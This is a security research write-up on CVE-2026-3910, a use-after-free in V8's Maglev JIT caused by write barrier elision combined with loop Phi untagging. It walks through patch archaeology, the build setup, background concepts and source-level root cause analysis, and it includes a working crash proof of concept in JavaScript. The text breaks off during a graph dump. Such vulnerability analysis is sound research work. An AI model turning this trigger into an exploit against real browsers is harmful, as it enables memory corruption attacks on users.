Table of contents
Open Table of contents
Overview
CVE-2026-3910 is a bug in V8’s Maglev JIT compiler — specifically in the interaction between write barrier elision and Phi untagging.
When Maglev compiles a property store like o.x = value, it decides at graph-building time whether the write barrier can be skipped. If type feedback says the value is always a Smi (a small tagged integer), there’s no heap pointer involved, so the barrier is unnecessary. The function CanElideWriteBarrier makes this decision and emits a StoreTaggedFieldNoWriteBarrier node. This decision is permanent.
To prevent Phi untagging from later breaking this assumption, CanElideWriteBarrier records a kTagged hint on the value’s Phi node — a soft request to keep it tagged. But this hint propagates through a mechanism that treats loop Phis differently: a loop Phi only respects hints recorded while the loop body is still being built (same_loop_use_repr_hints_). Since CanElideWriteBarrier runs after the loop is closed, the kTagged hint reaches the loop Phi’s general hint set but not its same-loop hint set. The Phi untagging pass reads only the same-loop set for loop Phis, sees only {kInt32}, and untags the Phi to raw Int32.
Once untagged, the CheckedSmiUntag guards (which would deoptimize on non-Smi values) are removed as redundant. A retag node Int32ToNumber is inserted, which can produce a HeapNumber — a real heap pointer — if the integer overflows the Smi range. The store still uses NoWriteBarrier, so the GC is never informed of the new old→young pointer. A subsequent minor GC can collect the young HeapNumber while the old-generation object still references it, resulting in a use-after-free.
Find the real commit
When you search for this CVE online, most sources will point you to this commit. But look at the actual patch:
diff --git a/src/flags/flag-definitions.h b/src/flags/flag-definitions.h
index 26ce19c..49840a8 100644
--- a/src/flags/flag-definitions.h
+++ b/src/flags/flag-definitions.h
@@ -746,7 +746,7 @@
DEFINE_BOOL(maglev_reuse_stack_slots, true,
"reuse stack slots in the maglev optimizing compiler")
-DEFINE_BOOL(maglev_untagged_phis, true,
+DEFINE_BOOL(maglev_untagged_phis, false,
"enable phi untagging in the maglev optimizing compiler")
DEFINE_BOOL(maglev_hoist_osr_value_phi_untagging, true,
"enable phi untagging to hoist untagging of osr values")
This doesn’t tell us anything useful. It just disables Phi untagging entirely — a quick “turn the whole feature off” band-aid, not the actual fix for the root cause. So I used some git magic to trace the real patch:
git log --all --grep="491410818"
This searches all branches for commits referencing the bug tracker ID 491410818. Here’s what came back:
commit acf4c8ead045710baa3528efe7a261b1ba77edbb
Author: Darius Mercadier <dmercadier@chromium.org>
Date: Tue Mar 17 12:14:40 2026 +0100
[fuzzers] Fuzz --no-maglev-loop-peeling with 10%
This is useful to catch Phi untagging bugs: loop phis are treated a
bit differently (only in-loop use hints are taken into account for
instance), and loop peeling has a tendency to turn loop phis into
non-loop phis (because the loop phis are always merged right after the
loop with the value from the peeled copy).
Regardless of Phi untagging, loop peeling can easily be manually
disabled in Maglev (for instance by nesting loops, or by articially
increasing the number of bytecodes in a loop), so making sure that the
fuzzers have an easy way to prevent loop peeling makes sense.
Bug: 491410818
Change-Id: Ib3d3423b4a7587ec2ad374ab2b317bc526465584
commit c7c4c691bfb8e2bfe6849523ba31e41920d8f6da
Author: Darius Mercadier <dmercadier@chromium.org>
Date: Wed Feb 25 12:56:18 2026 +0100
Merged: [maglev] fix CanElideWriteBarrier Smi recording for phis
Recording a Tagged use is not enough for 2 reasons:
* Tagged uses are sometimes ignored, in particular for loop phis
where we distinguish in-loop and out-of-loop uses.
* This Tagged use could only prevent untagging of this specific phi,
but none of its inputs. So we could have a Smi phi as input to the
current phi which gets untagged and retagged to a non-Smi, all
while the current phi doesn't get untagged.
Bug: 491410818
(cherry picked from commit a54bf5cd45e5b119e2afe6019428e81c3d626fb3)
Change-Id: I75493eb43eff726763604d7e9e88aefc59102366
Cr-Commit-Position: refs/branch-heads/14.6@{#41}
commit 7076ba135fab58910afe9bc8a828dfe1e40c4355
Author: Darius Mercadier <dmercadier@chromium.org>
Date: Tue Mar 10 18:01:59 2026 +0100
[maglev] disable Phi untagging
There are currently a bit too many issues with Phi untagging; let's
disable it by default until we get things under control.
Bug: 491410818
Change-Id: I98a4884b5374fad9ac98df0ab57c4203a1ce8403
Three commits share the same bug ID. The first (acf4c8e) is a fuzzer improvement. The last (7076ba1) is the “disable Phi untagging” band-aid that most sites reference. But the real fix is the middle one:
c7c4c691bfb8e2bfe6849523ba31e41920d8f6da — “[maglev] fix CanElideWriteBarrier Smi recording for phis”
Notice the line in its commit message:
(cherry picked from commit a54bf5cd45e5b119e2afe6019428e81c3d626fb3)
What is a cherry-pick?
In Git, cherry-pick takes a single commit from one branch and applies it onto another. Think of it like plucking one specific fix from the development trunk (main) and dropping it into a release branch — without merging all the other unrelated changes.
main: ──A──B──C──[FIX]──D──E──
│
cherry-pick
│
▼
14.6: ──X──Y──Z──[FIX']──
The original fix lives at a54bf5cd on main. The cherry-picked copy is c7c4c691 on refs/branch-heads/14.6. They contain the same code change, but are different commits with different hashes because they have different parent commits.
So when you’re hunting for the real patch of a Chromium CVE, always look for the cherry-pick source — that’s where the actual fix logic lives, not the “disable the whole feature” workaround that lands on main as a safety net.
Setup Environment
First, make sure you have the V8 source and depot_tools ready. If you haven’t already:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PWD/depot_tools:$PATH"
fetch v8
cd v8
Now checkout the vulnerable commit:
git checkout a54bf5cd45e5b119e2afe6019428e81c3d626fb3~1
gclient sync -D
Next, generate the build config. For easy debugging and testing, use this args.gn:
gn gen ./out/debug
Then edit out/debug/args.gn with the following:
is_component_build = false
is_debug = false
symbol_level = 2
blink_symbol_level = 2
v8_symbol_level = 2
perfetto_force_dcheck = "off"
dcheck_always_on = false
v8_enable_backtrace = true
v8_enable_fast_mksnapshot = true
v8_enable_slow_dchecks = false
v8_optimized_debug = false
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
enable_cet_shadow_stack = false
v8_no_inline=true
A quick breakdown of the important flags:
| Flag | Why |
|---|---|
is_debug = false | Release build |
symbol_level = 2 | Full debug symbols so you can step through source in GDB |
v8_enable_disassembler = true | Lets you use %DisassembleFunction() to inspect generated machine code |
v8_enable_object_print = true | Enables %DebugPrint() for inspecting V8 heap objects |
v8_enable_verify_heap = true | Heap verification — catches corruption early |
v8_no_inline = true | Prevents function inlining so stack traces are readable in GDB |
dcheck_always_on = false | Disables debug assertions that would crash before the bug triggers |
Finally, build:
ninja -C ./out/debug d8
# optional: if you use clangd for code navigation, generate compile_commands.json
# python3 tools/clang/scripts/generate_compdb.py -p out/debug > out/debug/compile_commands.json
This gives you a d8 binary with full symbols, object printing, and disassembly support — everything you need to poke at the bug.
Background knowledge
What is Phi?
Before we get into the bug, we need to understand what a Phi node is. Say you have this JavaScript code:
let x;
if (condition) {
x = 1;
} else {
x = 2;
}
console.log(x);
Simple enough. But when a compiler tries to optimize this, it hits a wall. Most modern compilers use something called Static Single Assignment (SSA) form — a rule that says every variable can only be assigned once. This makes analysis and optimization much easier, because each “version” of a variable has exactly one definition.
So the compiler rewrites the code like this:
// if-branch
x1 = 1;
// else-branch
x2 = 2;
// after the branch... which one is x?
Now there’s a problem. After the if/else, which version of x do we use? x1 or x2? We don’t know until runtime — it depends on which branch was taken.
This is where Phi nodes come in. A Phi node is a fake instruction that the compiler inserts at the merge point of control flow. It says: “pick the right value depending on where you came from.”
x1 = 1; // if-branch
x2 = 2; // else-branch
x3 = Phi(x1, x2); // merge point: x3 is x1 or x2
console.log(x3);
The Phi node doesn’t produce any real machine code — it’s a bookkeeping trick that lets the compiler keep the SSA rule intact while still reasoning about multiple possible values.
Loop Phis vs Non-loop Phis
Not all Phis are equal. V8’s Maglev compiler distinguishes two kinds:
Non-loop Phi — merges values from branches (like the if/else example above). Straightforward.
Loop Phi — merges a value from before the loop with a value from inside the loop. These are trickier because one of the inputs depends on the output of a previous iteration:
let sum = 0; // initial value (before loop)
for (let i = 0; i < n; i++) {
sum += arr[i]; // updated value (inside loop)
}
// sum is a loop Phi: Phi(0, sum + arr[i])
Phi untagging
In V8, every JavaScript value on the heap is tagged — it’s wrapped in a pointer-like format that tells the engine what type it is. A small integer (Smi) has a tag bit that says “I’m an integer.” A heap object has a tag bit that says “I’m a pointer to something on the heap.”
This tagging is great for flexibility, but terrible for performance. If the compiler knows a Phi node will always hold a Smi, keeping it tagged is wasteful — every arithmetic operation has to untag it, do the math, and retag the result.
So Maglev has an optimization called Phi untagging: if a Phi only ever holds Smis (based on the type feedback the engine has collected), the compiler strips the tag and works with raw machine integers instead. No tag, no overhead.
Before untagging:
x = Phi(tagged_smi_1, tagged_smi_2)
y = x + 1 // untag x, add 1, retag result
After untagging:
x = Phi(raw_int_1, raw_int_2)
y = x + 1 // just add — no tagging overhead
But here’s the catch: when the compiler later needs to store that untagged Phi back into a heap object (for example, writing it into an object’s property), it has to retag the value. And retagging a raw integer back into a Smi is fine — the result is always a Smi.
But what if the untagging decision was wrong? What if one of the Phi’s inputs was a Smi at first, but then got untagged and retagged into something that looks like a heap pointer? That’s where write barriers come in.
Garbage collection and write barriers
For this concept, it better if you read here and here. Yes, you don’t need to understand all about V8’s GC to understand the bug, but at least you should know the basics of how GC works and what a write barrier is.
The patch
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index a444f83..498eeac 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4481,7 +4481,11 @@
ValueNode* value) {
if (value->Is<RootConstant>() || value->Is<ConsStringMap>()) return true;
if (!IsEmptyNodeType(GetType(value)) && CheckType(value, NodeType::kSmi)) {
- value->MaybeRecordUseReprHint(UseRepresentation::kTagged);
+ if constexpr (SmiValuesAre31Bits()) {
+ if (Phi* value_as_phi = value->TryCast<Phi>()) {
+ value_as_phi->SetUseRequires31BitValue();
+ }
+ }
return true;
}
Crash PoC
Since this currently a 1day at the time I analyze this, there isn’t any public PoC or exploit writeup available. So my first step is to figure out the way to trigger the bug and crash the engine. Me and my friend (@phudd6) are working on this together, painstakingly combing through the Maglev codebase to understand the exact conditions that lead to the inappropriate write barrier elision. After a few days of pain, we finally have wrote a crash PoC:
let o = {};
o.x = 1;
o.x = "abc";
function trigger(inc) {
let inner = 0;
for (let i = 0; i < 5; i++) {
inner = (inner + inc) | 0;
}
let outer = inner > 3 ? inner : 42;
o.x = outer;
}
%PrepareFunctionForOptimization(trigger);
trigger(1);
trigger(1);
%CollectGarbage("all");
%CollectGarbage("all");
%OptimizeMaglevOnNextCall(trigger);
trigger(0x10000000);
%CollectGarbage("minor");
print(o.x);
$ ../v8/out/StaticReleaseWithSymbol/d8 poc.js
Received signal 11 SEGV_ACCERR 1db601280000
Root Cause Analysis
The bug lives in CanElideWriteBarrier (src/maglev/maglev-graph-builder.cc). During graph building, whenever Maglev compiles a tagged store like o.x = value, it calls this function to decide whether the write barrier can be safely skipped. If it returns true, a StoreTaggedFieldNoWriteBarrier node is emitted.
MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
compiler::AccessMode access_mode, compiler::NameRef name) {
// ...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
store_target, value, field_index.offset(), store_mode, name));
} else {
DCHECK(field_representation.IsHeapObject() ||
field_representation.IsTagged());
RETURN_IF_ABORT(BuildStoreTaggedField(
store_target, value, field_index.offset(), store_mode, name));
}
// ...
}
ReduceResult MaglevGraphBuilder::BuildStoreTaggedField(
ValueNode* object, ValueNode* value, int offset, StoreTaggedMode store_mode,
PropertyKey property_key) {
// ...
if (CanElideWriteBarrier(object, value)) {
return AddNewNode<StoreTaggedFieldNoWriteBarrier>({object, value}, offset,
store_mode, property_key);
} else {/* ... */}
// ...
}
// Vulnerable function
bool MaglevGraphBuilder::CanElideWriteBarrier(ValueNode* object,
ValueNode* value) {
if (value->Is<RootConstant>() || value->Is<ConsStringMap>()) return true;
if (!IsEmptyNodeType(GetType(value)) && CheckType(value, NodeType::kSmi)) {
value->MaybeRecordUseReprHint(UseRepresentation::kTagged);
return true;
}
// ...
}
The second check is our bug site. It asks: “based on type feedback, is this value always a Smi?” During warmup with trigger(1), outer was always 5 or 42 — both Smis. So CheckType returns true, and the function calls MaybeRecordUseReprHint(kTagged) as a soft hint that says “please stay tagged so the value stays Smi”, then returns true to skip the barrier.
The logic seems sound: if the value is a Smi, there’s no pointer, so no barrier is needed. And the kTagged hint is supposed to prevent Phi untagging from later changing the value’s representation in a way that could produce a HeapNumber. But this hint doesn’t actually work when a non-loop Phi chains into a loop Phi.
To understand why, we need to look at how MaybeRecordUseReprHint works. It delegates to RecordUseReprHint on the Phi:
// src/maglev/maglev-ir.h
void ValueNode::MaybeRecordUseReprHint(UseRepresentationSet repr_mask) {
if (Phi* phi = TryCast<Phi>()) {
phi->RecordUseReprHint(repr_mask);
}
if (CallKnownJSFunction* call = TryCast<CallKnownJSFunction>()) {
// std::cout << "Recording UseRepr hint for call : " << repr_mask << "\n";
call->RecordUseReprHint(repr_mask);
}
}
// src/maglev/maglev-ir.cc
void Phi::RecordUseReprHint(UseRepresentationSet repr_mask,
bool force_same_loop) {
if (is_loop_phi() && (is_unmerged_loop_phi() || force_same_loop)) {
same_loop_use_repr_hints_.Add(repr_mask);
}
if (!repr_mask.is_subset_of(use_repr_hints_)) {
use_repr_hints_.Add(repr_mask);
for (int i = 0; i < bound_inputs; i++) {
if (Phi* phi_input = input(i).node()->TryCast<Phi>()) {
phi_input->RecordUseReprHint(repr_mask); // recursive propagation
}
}
}
}
Each Phi has two hint sets:
UseRepresentationSet use_repr_hints_ = {}; // hints from ALL uses
UseRepresentationSet same_loop_use_repr_hints_ = {}; // hints from uses INSIDE the loop only
The crucial detail is that same_loop_use_repr_hints_ is only updated when is_unmerged_loop_phi() returns true — meaning the loop body is still being built. Once Maglev processes the JumpLoop bytecode and closes the loop, is_unmerged_loop_phi() flips to false, and that set can never be written to again (unless force_same_loop is explicitly passed, which it isn’t here).
Now let’s trace what happens with our PoC. The trigger function produces two Phis chained together:
function trigger(inc) {
let inner = 0;
for (let i = 0; i < 5; i++) {
inner = (inner + inc) | 0; // inner = loop Phi
}
let outer = inner > 3 ? inner : 42; // outer = non-loop Phi (inputs: inner, 42)
o.x = outer;
}
Maglev builds the graph top to bottom. While building the loop body, the + operation produces an Int32AddWithOverflow node whose inputs must be Int32. But the inner Phi is still tagged at this point, so Maglev needs to convert it. This conversion goes through GetInt32:
// src/maglev/maglev-graph-builder.cc
template <Operation kOperation>
ReduceResult MaglevGraphBuilder::BuildInt32BinaryOperationNode() {
// Use BuildTruncatingInt32BinaryOperationNodeForToNumber with Smi input hint
// for truncating operations.
static_assert(!BinaryOperationIsBitwiseInt32<kOperation>());
ValueNode* left = LoadRegister(0);
ValueNode* right = GetAccumulator();
PROCESS_AND_RETURN_IF_DONE(
reducer_.TryFoldInt32BinaryOperation<kOperation>(left, right),
SetAccumulator);
using OpNodeT = Int32NodeFor<kOperation>;
return SetAccumulator(AddNewNode<OpNodeT>({left, right}));
}
// src/maglev/maglev-reducer-inl.h
template <typename BaseT>
template <typename NodeT, typename Function, typename... Args>
ReduceResult MaglevReducer<BaseT>::AddNewNode(
size_t input_count, Function&& post_create_input_initializer,
Args&&... args) {
NodeT* node =
NodeBase::New<NodeT>(zone(), input_count, std::forward<Args>(args)...);
RETURN_IF_ABORT(post_create_input_initializer(node));
return AttachExtraInfoAndAddToGraph(node);
}
// src/maglev/maglev-reducer-inl.h
template <typename BaseT>
template <typename NodeT, typename InputsT>
ReduceResult MaglevReducer<BaseT>::SetNodeInputs(NodeT* node, InputsT inputs) {
// Nodes with zero input count don't have kInputRepresentations defined.
if constexpr (NodeT::kInputCount > 0) {
constexpr UseReprHintRecording hint = ShouldRecordUseReprHint<NodeT>();
int i = 0;
for (ValueNode* input : inputs) {
DCHECK_NOT_NULL(input);
ValueNode* converted;
GET_VALUE_OR_ABORT(
converted,
ConvertInputTo<hint>(input, NodeT::kInputRepresentations[i]));
node->set_input(i, converted);
i++;
}
}
return ReduceResult::Done();
}
// src/maglev/maglev-reducer-inl.h
template <typename BaseT>
template <UseReprHintRecording hint>
ReduceResult MaglevReducer<BaseT>::ConvertInputTo(
ValueNode* input, ValueRepresentation expected) {
ValueRepresentation repr = input->properties().value_representation();
if (repr == expected) return input;
switch (expected) {
case ValueRepresentation::kTagged: return GetTaggedValue(input);
case ValueRepresentation::kInt32: return GetInt32(input);
case ValueRepresentation::kFloat64: return GetFloat64(input);
case ValueRepresentation::kHoleyFloat64: return GetHoleyFloat64(input);
}
}
// src/maglev/maglev-reducer-inl.h
template <typename BaseT>
ReduceResult MaglevReducer<BaseT>::GetInt32(ValueNode* value,
bool can_be_heap_number) {
value->MaybeRecordUseReprHint(UseRepresentation::kInt32);
if (ValueNode* int32_value = TryGetInt32(value)) {
return int32_value;
}
NodeInfo* node_info = known_node_aspects().GetOrCreateInfoFor(broker(), value);
auto& alternative = node_info->alternative();
switch (value->properties().value_representation()) {
case ValueRepresentation::kTagged: {
if (can_be_heap_number &&
!known_node_aspects().CheckType(broker(), value, NodeType::kSmi)) {
return alternative.set_int32(
AddNewNodeNoInputConversion<CheckedNumberToInt32>({value}));
}
ValueNode* untagged;
GET_VALUE_OR_ABORT(untagged,
BuildSmiUntag(value, AllowWideningSmiToInt32::kAllow));
return alternative.set_int32(untagged);
}
case ValueRepresentation::kUint32: { ... }
case ValueRepresentation::kFloat64: { ... }
case ValueRepresentation::kHoleyFloat64: { ... }
case ValueRepresentation::kIntPtr: { ... }
}
}
That is what records kInt32 on the inner Phi. The loop is still open at this point, so is_unmerged_loop_phi() is true, and kInt32 enters both hint sets:
inner.same_loop_use_repr_hints_ = {kInt32}
inner.use_repr_hints_ = {kInt32}
Then Maglev processes the JumpLoop bytecode and the loop is closed. is_unmerged_loop_phi() becomes false.
After the loop, Maglev builds o.x = outer and calls CanElideWriteBarrier(o, outer_phi). Feedback says Smi, so it returns true. But first, it calls MaybeRecordUseReprHint(kTagged) on outer Phi.
RecordUseReprHint(kTagged) runs on outer Phi first. Outer is not a loop Phi, so the same_loop_use_repr_hints_ block is skipped entirely. kTagged goes into use_repr_hints_. Then the function propagates to outer’s inputs: input[0] is inner Phi, so it recurses. input[1] is SmiConstant(42), not a Phi, so it’s skipped.
Now RecordUseReprHint(kTagged) runs on inner Phi via propagation. Inner is a loop Phi, but is_unmerged_loop_phi() is false — the loop was already closed. So:
if (is_loop_phi() && (is_unmerged_loop_phi() || force_same_loop)) {
same_loop_use_repr_hints_.Add(kTagged); // skipped
}
use_repr_hints_.Add(kTagged);
The kTagged hint reaches inner Phi, but only enters use_repr_hints_. It does not enter same_loop_use_repr_hints_. After graph building, the hint state is:
inner Phi (loop Phi):
same_loop_use_repr_hints_ = {kInt32} // missing kTagged
use_repr_hints_ = {kInt32, kTagged}
outer Phi (non-loop Phi):
use_repr_hints_ = {kTagged}
The graph after building
Here’s the full Maglev graph after building:
----- After graph building -----
Graph
17: Constant(0x21ff0101e4ed <FeedbackCell[one closure]>), 3 uses
3: Constant(0x21ff0101e589 <JSFunction trigger (sfi = 0x21ff0101e451)>), 6 uses
4: Constant(0x21ff0101e50d <ScriptContext[3]>), 6 uses
46: Constant(0x21ff0104b819 <Object map = 0x21ff0101e5bd>), 1 uses
5: RootConstant(undefined_value), 1 uses
12: RootConstant(true_value), 0 uses 🪦
28: RootConstant(false_value), 0 uses 🪦
19: RootConstant(optimized_out), 0 uses 🪦
8: SmiConstant(0), 2 uses
22: SmiConstant(1), 1 uses
37: SmiConstant(3), 1 uses
9: SmiConstant(5), 1 uses
43: SmiConstant(42), 1 uses
10: Int32Constant(0), 3 uses, cannot truncate to int32
16: Int32Constant(1), 1 uses, cannot truncate to int32
39: Int32Constant(3), 2 uses, cannot truncate to int32
11: Int32Constant(5), 2 uses, cannot truncate to int32
Block b0
0x21ff0101e451 <SharedFunctionInfo trigger> (0x21ff0104a989 <String[6]: "poc.js">:16:16)
0 : 0c LdaZero
1: InitialValue(<this>), 6 uses
2: InitialValue(a0), 8 uses // inc
6: FunctionEntryStackCheck
↳ lazy @-1 (3 live vars)
7: Jump b1
↓
Block b1 // peeled first iteration: inner = (0 + inc) | 0
0x21ff0101e451 <SharedFunctionInfo trigger> (0x21ff0104a989 <String[6]: "poc.js">:0:0)
14 : 40 f9 01 Add r0, FBV[1]
↱ eager @14 (6 live vars)
13: CheckedSmiUntag [n2], 2 uses, cannot truncate to int32
↱ eager @14 (6 live vars)
14: Int32AddWithOverflow [n13, n10], 1 uses, can truncate to int32 [-2147483648, 2147483647]
17 : 53 00 00 BitwiseOrSmi [0], FBV[0]
15: Int32BitwiseOr [n14, n10], 2 uses, cannot truncate to int32
26 : 95 16 00 03 JumpLoop [22], [0], FBV[3]
18: ReduceInterruptBudgetForLoop(17) [n17]
↳ lazy @26 (5 live vars)
21: Int32ToNumber[kCanonicalizeSmi] [n15], 1 uses
20: Jump b2
│ with gap moves:
│ - n21 → 23: φᵀ r0
│ - n22 → 24: φᵀ r2
▼
╭─►Block b2 peeled (effects:) // for (let i = ...; i < 5; ...)
│ 23: φᵀ r0 (n21, n35), 5 uses // inner loop Phi (tagged)
│ 24: φᵀ r2 (n22, n36), 2 uses // i loop Phi (tagged)
│ 6 : 77 f7 01 00 TestLessThan r2, EmbeddedFeedback[0x1]
│ ↱ eager @6 (6 live vars)
│ 25: CheckedSmiUntag [n24], 3 uses, cannot truncate to int32
│ 26: Int32Compare[LessThan] [n25, n11], 0 uses 🪦
│ 10 : a6 14 JumpIfFalse [20]
│╭──27: BranchIfInt32Compare(LessThan) [n25, n11] b3 b4 // i < 5 ?
││ ↓
││ Block b3 // inner = (inner + inc) | 0; i++
││ 14 : 40 f9 01 Add r0, FBV[1]
││ ↱ eager @6 (6 live vars)
││ 29: CheckedSmiUntag [n23], 1 uses, cannot truncate to int32
││ ↱ eager @6 (6 live vars)
││ 30: Int32AddWithOverflow [n13, n29], 1 uses, can truncate to int32 [-2147483648, 2147483647]
││ 17 : 53 00 00 BitwiseOrSmi [0], FBV[0]
││ 31: Int32BitwiseOr [n30, n10], 2 uses, cannot truncate to int32
││ 23 : 59 02 Inc FBV[2]
││ ↱ eager @6 (6 live vars)
││ 32: Int32IncrementWithOverflow [n25], 2 uses, cannot truncate to int32
││ 26 : 95 16 00 03 JumpLoop [22], [0], FBV[3]
││ 33: ReduceInterruptBudgetForLoop(17) [n17]
││ ↳ lazy @26 (5 live vars)
││ 35: Int32ToNumber[kCanonicalizeSmi] [n31], 1 uses
││ 36: Int32ToNumber[kCanonicalizeSmi] [n32], 1 uses
││ ↱ eager @6 (6 live vars)
╰─◄─34: JumpLoop b2
│ with gap moves:
│ - n35 → 23: φᵀ r0
│ - n36 → 24: φᵀ r2
│
╰►Block b4 // after loop exits
32 : 78 f9 01 00 TestGreaterThan r0, EmbeddedFeedback[0x1]
↱ eager @32 (5 live vars)
38: CheckedSmiUntag [n23], 2 uses, cannot truncate to int32
40: Int32Compare[GreaterThan] [n38, n39], 0 uses 🪦
36 : a6 06 JumpIfFalse [6]
╭───41: BranchIfInt32Compare(GreaterThan) [n38, n39] b5 b6 // inner > 3 ?
│ ↓
│ Block b5 // outer = inner
│ 40 : 96 04 Jump [4]
│╭──42: Jump b7
││ with gap moves:
││ - n23 → 45: φᵀ <accumulator>
││
╰─►Block b6 // outer = 42
│ 44 : d1 Star1
│ 44: Jump b7
│ │ with gap moves:
│ │ - n43 → 45: φᵀ <accumulator>
│ ▼
╰►Block b7 // o.x = outer
45: φᵀ <accumulator> (n23, n43), 1 uses // outer Phi (tagged)
52 : 39 f6 01 04 SetNamedProperty r3, [1:"x"], FBV[4]
47: StoreTaggedFieldNoWriteBarrier(0xc: 0x21ff00003665 <String[1]: #x>) [n46, n45]
57 : b7 Return
48: ReduceInterruptBudgetForReturn(57) [n17]
49: Return [n5]
The key thing to notice is at the very bottom: n47: StoreTaggedFieldNoWriteBarrier. The barrier was skipped because CanElideWriteBarrier returned true. Also notice that inner Phi (n23) is still tagged (φᵀ) at this point, and CheckedSmiUntag [n23] nodes exist in Block b3 and b4 to untag it for arithmetic. These nodes serve a dual purpose: they convert tagged→Int32, but they also guard that the value is actually a Smi — if it’s not, they deoptimize.
What Phi untagging does
After graph building completes, MaglevPhiRepresentationSelector runs and calls ProcessPhi on every Phi node. For loop Phis with in-loop uses, it reads only same_loop_use_repr_hints_. For non-loop Phis, it reads use_repr_hints_. If the selected hint set contains kTagged, the Phi stays tagged and untagging is aborted:
// src/maglev/maglev-phi-representation-selector.cc
MaglevPhiRepresentationSelector::ProcessPhiResult
MaglevPhiRepresentationSelector::ProcessPhi(Phi* node) {
// ...
UseRepresentationSet use_reprs;
if (node->is_loop_phi() && !node->same_loop_use_repr_hints().empty() && ...) {
use_reprs = node->same_loop_use_repr_hints();
} else {
use_reprs = node->use_repr_hints();
}
if (use_reprs.contains(UseRepresentation::kTagged) || ...) {
return; // stay tagged
}
// untag the Phi
}
For inner Phi (a loop Phi), it reads same_loop_use_repr_hints_ = {kInt32}. There’s no kTagged in this set — the hint was lost as we saw above — so it falls through and inner gets untagged to raw Int32. For outer Phi (a non-loop Phi), it reads use_repr_hints_ = {kTagged}, sees kTagged, and keeps it tagged.
Since inner is now raw Int32 but outer still needs a tagged input, the untagging pass inserts a retag node Int32ToNumber[kCanonicalizeSmi] between them. At runtime, this node converts the raw Int32 back to a tagged value. If the value fits in 31 bits (≤ 0x3FFFFFFF), it produces a Smi. If not, it allocates a HeapNumber — a heap object, a real pointer.
After untagging inner, all the CheckedSmiUntag nodes that were converting inner from tagged→Int32 are now redundant (the Phi is already Int32). The pass handles this through UpdateUntaggingOfPhi:
// src/maglev/maglev-phi-representation-selector.cc
ProcessResult MaglevPhiRepresentationSelector::UpdateUntaggingOfPhi(
Phi* phi, ValueNode* old_untagging) {
ValueRepresentation from_repr =
old_untagging->input(0).node()->value_representation();
ValueRepresentation to_repr = old_untagging->value_representation();
// ...
// preserve Smi range guard if needed
if (phi->uses_require_31_bit_value() &&
old_untagging->Is<CheckedSmiUntag>()) {
old_untagging->OverwriteWith<CheckedSmiSizedInt32>();
return ProcessResult::kContinue;
}
// same repr → conversion is a no-op, remove it
if (from_repr == to_repr) {
old_untagging->OverwriteWith<Identity>();
return ProcessResult::kRemove;
}
// ...
}
Check 1 asks: “did anyone call SetUseRequires31BitValue() on this Phi?” If yes and the old node is a CheckedSmiUntag, it preserves the Smi range guard by converting it to CheckedSmiSizedInt32 — a node that deoptimizes if the Int32 value exceeds 0x3FFFFFFF. But in the buggy code, nobody calls SetUseRequires31BitValue(). CanElideWriteBarrier only calls MaybeRecordUseReprHint(kTagged), which gets lost for loop Phis. So check 1 is skipped, and check 2 fires: from_repr == to_repr (both Int32), the CheckedSmiUntag is overwritten with Identity and removed. The Smi range guard is gone. The raw Int32 can now hold any 32-bit value, including ones that overflow the Smi range and produce a HeapNumber when retagged.
The Phi untagging pass does have one more safety net. After processing all Phis, it walks every node and checks: if a StoreTaggedFieldNoWriteBarrier has a Phi input that was untagged, upgrade it to WithWriteBarrier. But this only checks direct inputs. Our store’s input is outer Phi (n45), which is still tagged. The fact that outer’s input (inner Phi, n23) was untagged is invisible — the safety net doesn’t recurse into inputs-of-inputs.
// src/maglev/maglev-phi-representation-selector.h
template <class NodeT>
ProcessResult UpdateNonUntaggingNodeInputs(NodeT* node,
const ProcessingState* state) {
static_assert(!IsUntagging(NodeBase::opcode_of<NodeT>));
for (int i = 0; i < node->input_count(); i++) {
ValueNode* input = node->NodeBase::input(i).node();
if (input->Is<Identity>()) {
node->change_input(i, input->NodeBase::input(0).node());
} else if (Phi* phi = input->TryCast<Phi>()) {
// Only checks DIRECT Phi inputs.
// Our store's input is outer Phi (n45), which is still tagged,
// so this TryCast<Phi> succeeds but the upgrade below won't fire.
// The fact that outer Phi's input (inner Phi, n23) was untagged
// is invisible — no recursion into inputs-of-inputs.
ProcessResult result = UpdateNodePhiInput(node, phi, i, state);
if (V8_UNLIKELY(result == ProcessResult::kRemove)) {
return ProcessResult::kRemove;
}
}
}
return ProcessResult::kContinue;
}
// src/maglev/maglev-phi-representation-selector.cc
ProcessResult MaglevPhiRepresentationSelector::UpdateNodePhiInput(
StoreTaggedFieldNoWriteBarrier* node, Phi* phi, int input_index,
const ProcessingState* state) {
if (input_index == StoreTaggedFieldNoWriteBarrier::kObjectIndex) {
return UpdateNodePhiInput(static_cast<NodeBase*>(node), phi, input_index,
state);
}
DCHECK_EQ(input_index, StoreTaggedFieldNoWriteBarrier::kValueIndex);
// This is the upgrade check: if the Phi was untagged, switch to
// WithWriteBarrier. But outer Phi (n45) is still tagged
// (value_representation() == kTagged), so this branch is NOT taken.
if (phi->value_representation() != ValueRepresentation::kTagged) {
node->change_input(input_index,
EnsurePhiTagged(phi, reducer_.current_block(),
BasicBlockPosition::Start(), state));
static_assert(StoreTaggedFieldNoWriteBarrier::kObjectIndex ==
StoreTaggedFieldWithWriteBarrier::kObjectIndex);
static_assert(StoreTaggedFieldNoWriteBarrier::kValueIndex ==
StoreTaggedFieldWithWriteBarrier::kValueIndex);
// Upgrade: NoWriteBarrier -> WithWriteBarrier
node->OverwriteWith<StoreTaggedFieldWithWriteBarrier>();
static constexpr bool kRetaggedPhiCouldBeSmi = true;
node->Cast<StoreTaggedFieldWithWriteBarrier>()->set_can_be_smi(
kRetaggedPhiCouldBeSmi);
}
return ProcessResult::kContinue;
}
Here’s the graph after Phi untagging. Compare it with the one above (You can view this to make your life easier):
----- After Phi untagging -----
Graph
17: Constant(0x21ff0101e4ed <FeedbackCell[one closure]>), 3 uses
3: Constant(0x21ff0101e589 <JSFunction trigger (sfi = 0x21ff0101e451)>), 6 uses
4: Constant(0x21ff0101e50d <ScriptContext[3]>), 6 uses
46: Constant(0x21ff0104b819 <Object map = 0x21ff0101e5bd>), 1 uses
5: RootConstant(undefined_value), 1 uses
